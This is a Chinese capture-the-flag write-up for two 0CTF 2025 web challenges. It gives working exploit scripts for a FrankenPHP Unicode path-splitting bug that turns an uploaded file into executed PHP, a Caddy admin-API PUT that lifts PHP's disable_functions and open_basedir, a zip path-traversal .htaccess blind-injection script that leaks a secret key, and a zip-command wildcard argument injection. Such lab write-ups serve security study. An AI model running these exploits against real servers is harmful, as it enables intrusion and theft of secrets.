CTF 0CTF 0CTF-2025 不是炒米线 2025-12-23 2025-12-25 ezupload PHP has turned 30, but hey, age is just a number! Like a fine wine (or maybe a funky cheese), it only gets better with time. Or does it? Dive into this challenge and find out for yourself.
题目 先来看一眼题目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $action = $_GET ['action' ] ?? '' ;if ($action === 'create' ) { $filename = basename ($_GET ['filename' ] ?? 'phpinfo.php' ); file_put_contents (realpath ('.' ) . DIRECTORY_SEPARATOR . $filename , '<?php phpinfo(); ?>' ); echo "File created." ; } elseif ($action === 'upload' ) { if (isset ($_FILES ['file' ]) && $_FILES ['file' ]['error' ] === UPLOAD_ERR_OK) { $uploadFile = realpath ('.' ) . DIRECTORY_SEPARATOR . basename ($_FILES ['file' ]['name' ]); $extension = pathinfo ($uploadFile , PATHINFO_EXTENSION); if ($extension === 'txt' ) { if (move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $uploadFile )) { echo "File uploaded successfully." ; } } } } else { highlight_file (__FILE__ ); }
先/?action=create&filename=aaa.php创建一个phpinfo,查询后得到题目信息:
1 2 FrankenPHP 1.10.1 PHP 8.4.15
disable_functions:
1 chdir,curl_exec,curl_init,curl_multi_add_handle,curl_multi_exec,curl_multi_init,curl_multi_remove_handle,curl_multi_select,curl_setopt,dl,error_log,exec,imap_open,ini_alter,ini_restore,ini_set,ld,link,mail,mb_send_mail,passthru,pcntl_alarm,pcntl_async_signals,pcntl_exec,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_signal_get_handler,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,proc_open,putenv,shell_exec,symlink,syslog,system
open_basedir:
太好了,完蛋。
简单搜索后得知,FrankenPHP 是一个基于Golang的全新的PHP解释器,与 Caddy 深度捆绑。最新版本为 1.11.0。
漏洞 这里基于 https://internethandout.com/post/ezupload 这篇文章,尝试跟着作者跟进一下。
去GitHub审计FrankenPHP源码,关注frankenphp/cgi.go
https://github.com/php/frankenphp/blob/19d00a08e2217167918aa7c32c056c1a70f22021/cgi.go#L262
先看这个splitCgiPath函数,用来切分cgi文件路径,得到SCRIPT_NAME, SCRIPT_FILENAME, PATH_INFO, DOCUMENT_URI 这四个参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 func splitCgiPath (fc *frankenPHPContext) { path := fc.request.URL.Path splitPath := fc.splitPath if splitPath == nil { splitPath = []string {".php" } } if splitPos := splitPos(path, splitPath); splitPos > -1 { fc.docURI = path[:splitPos] fc.pathInfo = path[splitPos:] fc.scriptName = strings.TrimSuffix(path, fc.pathInfo) if fc.scriptName != "" && !strings.HasPrefix(fc.scriptName, "/" ) { fc.scriptName = "/" + fc.scriptName } } fc.scriptFilename = sanitizedPathJoin(fc.documentRoot, fc.scriptName) fc.worker = getWorkerByPath(fc.scriptFilename) }
举个例子,如果GET /blog/index.php/post/123 HTTP/1.1,那么结果就是:
1 2 3 4 DOCUMENT_URI = /blog/index.php PATH_INFO = /post/123 SCRIPT_NAME = /blog/index.php SCRIPT_FILENAME = documentRoot/blog/index.php
最后这几个参数又会传给PHP作为$_SERVER['SCRIPT_NAME']、$_SERVER['PATH_INFO']。
里面调用了splitPos函数,那再来看一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 func splitPos (path string , splitPath []string ) int { if len (splitPath) == 0 { return 0 } lowerPath := strings.ToLower(path) for _, split := range splitPath { if idx := strings.Index(lowerPath, strings.ToLower(split)); idx > -1 { return idx + len (split) } } return -1 }
这个函数会返回splitPath开始的索引。注释写的很清楚,举个例子,如果:
1 2 path := "/path/to/script.php/some/path" splitPath := []string {".php" }
它就会去找这个.php开始的索引,也就是15。用这个函数就可以切分cgi文件的路径和参数。
不过,它这里有一行代码 lowerPath := strings.ToLower(path) ,这意味着所有传入的path都会转为小写字符。**splitPath返回了小写处理过的索引,而splitCgiPath使用的却是没有小写处理的原始path。**
那这里就有一个假设,即大小写转换不影响索引序号,这对ASCII字符是天然成立的,不过Unicode可就不这样了。
**İ是一个头上带点的大写Unicode字符I,hex是c4 b0。但转为小写后是i̇,hex是69 cc 87**。咚咚咚,遇水变大变粗。2字节变成3字节了。
引用一下参考博客的图:
利用 这里再放一下题目,看着方便一点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $action = $_GET ['action' ] ?? '' ;if ($action === 'create' ) { $filename = basename ($_GET ['filename' ] ?? 'phpinfo.php' ); file_put_contents (realpath ('.' ) . DIRECTORY_SEPARATOR . $filename , '<?php phpinfo(); ?>' ); echo "File created." ; } elseif ($action === 'upload' ) { if (isset ($_FILES ['file' ]) && $_FILES ['file' ]['error' ] === UPLOAD_ERR_OK) { $uploadFile = realpath ('.' ) . DIRECTORY_SEPARATOR . basename ($_FILES ['file' ]['name' ]); $extension = pathinfo ($uploadFile , PATHINFO_EXTENSION); if ($extension === 'txt' ) { if (move_uploaded_file ($_FILES ['file' ]['tmp_name' ], $uploadFile )) { echo "File uploaded successfully." ; } } } } else { highlight_file (__FILE__ ); }
然后贴出arb php exec的exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import requestsPHP = ''' <?php echo 114514; ''' target = 'http://fb3737hbvmvk7gxe.instance.penguin.0ops.sjtu.cn:18080' url = f'{target} /?action=create&filename=İİİİshell.txt.php' r = requests.get(url) print (r.text)files = { 'file' : ('İİİİshell.txt' , PHP, 'application/octet-stream' ), } r = requests.post(target + '?action=upload' , files=files) print (r.text)url = f'{target} /İİİİshell.txt.php' r = requests.get(url) print (r.text)
首先创建İİİİshell.txt.php,此时写入的是phpinfo。
然后上传 İİİİshell.txt,使用?action=upload接口,这时候储存的文件名就是İİİİshell.txt
当我们去访问İİİİshell.txt.php时,FrankenPHP要去判断这次是不是请求cgi,然后会调用上述splitCgiPath函数,然后是splitPos,触发 lowerPath := strings.ToLower(path) 转为小写,这4个特殊的Unicode字符膨胀,导致预期的索引右移了4个字节 ,用原始path进行索引时,到İİİİshell.txt就结束了,而İİİİshell.txt刚好是一个存在的并且写了我们的payload的txt文件,最终它被当作php执行了。
沙盒逃逸 好累啊,看了一眼队伍的WP:
1 2 3 4 5 6 7 SBE part: https://x.com/Nyaaaaa_ovo/status/1988340384230240458 exp hash: 0509be962cce85c8e22956e9df7f326b It is still not fixed in the latest PHP. We will release the full exploit once it was patched. If payload is indeed needed to claim the reward, plz dm crazyman or frank.
emmmm,蒜鸟。这篇文章 使用的应该才是预期解。关键点其实就一句话:FrankenPHP allows global php.ini overrides via the Caddy config: apps.frankenphp.php_ini
那就很简单了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ini = [ "disable_functions" => "" , "open_basedir" => "/" , ]; $ctx = stream_context_create ([ "http" => [ "method" => "PUT" , "header" => "Content-Type: application/json\r\n" , "content" => json_encode ($ini ), "ignore_errors" => true , ], ]); file_get_contents ("http://127.0.0.1:2019/config/apps/frankenphp/php_ini" , false , $ctx );
然后再检查一下:
1 var_dump (ini_get ("disable_functions" ), ini_get ("open_basedir" ));
输出
1 2 string (0 ) "" string (1 ) "/"
好的已经没有限制了,随便搞吧。
1 2 <?php system ("/readflag" );
0Pages 考点:zip路径穿越 + .htaccess盲注 + salvo源码审计 + 通配符命令注入
简介:上传zip 会解压,admin 可以导出(会触发zip命令进行压缩),需要伪造admin的cookie ,需要获取/app/.secretkey的值。
原题有这样写
1 2 3 4 5 6 7 8 let secret_key = std::fs::read (".secretkey" ).unwrap_or_else (|_| { eprintln! ("Error: Could not read secret key from .secretkey. Please create the file with a secret key." ); std::process::exit (1 ); }); if secret_key.len () < 128 { eprintln! ("Error: Secret key must be at least 128 bytes long." ); std::process::exit (1 ); }
想要伪造admin就得拿到/app/.secretkey
使用.htaccess盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 import zipfileimport httpximport osimport sysUPLOAD_URL = "http://localhost:8080/api/sites" CHECK_URL = "http://localhost:8080/trigger_404_check" headers = { "Cookie" : "salvo.session.id=DdLMh+xWfZKDX0G4iSsZ7NNhThkTo%2FcBUDZCVKCkpW8%3DLAAAAAAAAABTWEs1N002aWNhZU5TakVObnk3cnJjamZhdzRIL1piRk5MNGFramQwVUZzPQEeAAAAAAAAADIwMjUtMTItMjFUMjA6MzA6MDUuMDYzNjE1NTQ0WgEAAAAAAAAACAAAAAAAAAB1c2VybmFtZQMAAAAAAAAAIjEi" } TARGET_FILE = "/app/.secretkey" manifest = """{ "site_id": null, "owner": null, "webroot": "a/b/c/d", "deployed_at": null }""" htaccess_template = """<If "file('{target}') =~ /^{payload}/"> ErrorDocument 404 "haha" </If>""" def hex_encode (s ): """将字节串转换为 Apache 正则的 Hex 格式 (例如 \\x0a\\xff)""" return "" .join([f"\\x{c:02x} " for c in s]) def main (): secret_key = b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' print (f"[*] Starting blind injection for: {TARGET_FILE} " ) print ("[*] Waiting for oracle response..." ) for i in range (128 ): found_byte = False for b in range (256 ): current_byte = b.to_bytes(1 , "little" ) candidate = secret_key + current_byte payload_hex = hex_encode(candidate) htaccess_content = htaccess_template.format (target=TARGET_FILE, payload=payload_hex) zip_name = "exp.zip" try : with zipfile.ZipFile(zip_name, "w" , zipfile.ZIP_DEFLATED) as zf: zf.writestr("manifest.json" , manifest) zf.writestr("a/b/c/d/../../../../var/www/html/.htaccess" , htaccess_content) with open (zip_name, "rb" ) as f: resp = httpx.post(UPLOAD_URL, headers=headers, files={"archive" : f}, timeout=10 ) if resp.status_code != 200 : print (f"\n[-] Upload failed with status {resp.status_code} . Cookie might be expired." ) return check_resp = httpx.get(CHECK_URL, timeout=10 ) if "haha" in check_resp.text: secret_key += current_byte display_char = chr (b) if 32 <= b <= 126 else '?' print (f"\n[+] Found Byte {i+1 } : {hex (b)} ('{display_char} ')" ) print (f"[*] Current Key (Hex): {secret_key.hex ()} " ) found_byte = True break else : print ("." , end="" , flush=True ) except Exception as e: print (f"\n[-] Error: {e} " ) continue finally : if os.path.exists(zip_name): os.remove(zip_name) if not found_byte: print ("\n[*] Finished! (No more bytes found or end of file)" ) break print ("\n" + "=" *30 ) print (f"FINAL SECRET KEY (Hex): {secret_key.hex ()} " ) print (f"FINAL SECRET KEY (Raw): {secret_key} " ) print ("=" *30 ) if __name__ == "__main__" : main()
.htaccess盲注到第28字节就会被/x00截断,但实际上只需要爆破3字节就好了。 (apache的file等函数都是C写的,对/x00的处理都是透明的)
但是看这里 ,实际上只使用前32字节来生成cookie。
后面部分exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import zipfileif __name__ == "__main__" : try : zipFile = zipfile.ZipFile("template.zip" , "a" , zipfile.ZIP_DEFLATED) info = zipfile.ZipInfo("template.zip" ) zipFile.writestr( "manifest.json" , """{ "site_id": null, "owner": null, "webroot": "a", "deployed_at": null }""" , zipfile.ZIP_DEFLATED, ) zipFile.writestr("a/../-T" , "" , zipfile.ZIP_DEFLATED) zipFile.writestr("a/../-TT" , "" , zipfile.ZIP_DEFLATED) zipFile.writestr("a/../bash c.sh" , "" , zipfile.ZIP_DEFLATED) zipFile.writestr("a/../c.sh" , "/readflag > result.txt" , zipfile.ZIP_DEFLATED) zipFile.close() except IOError as e: raise e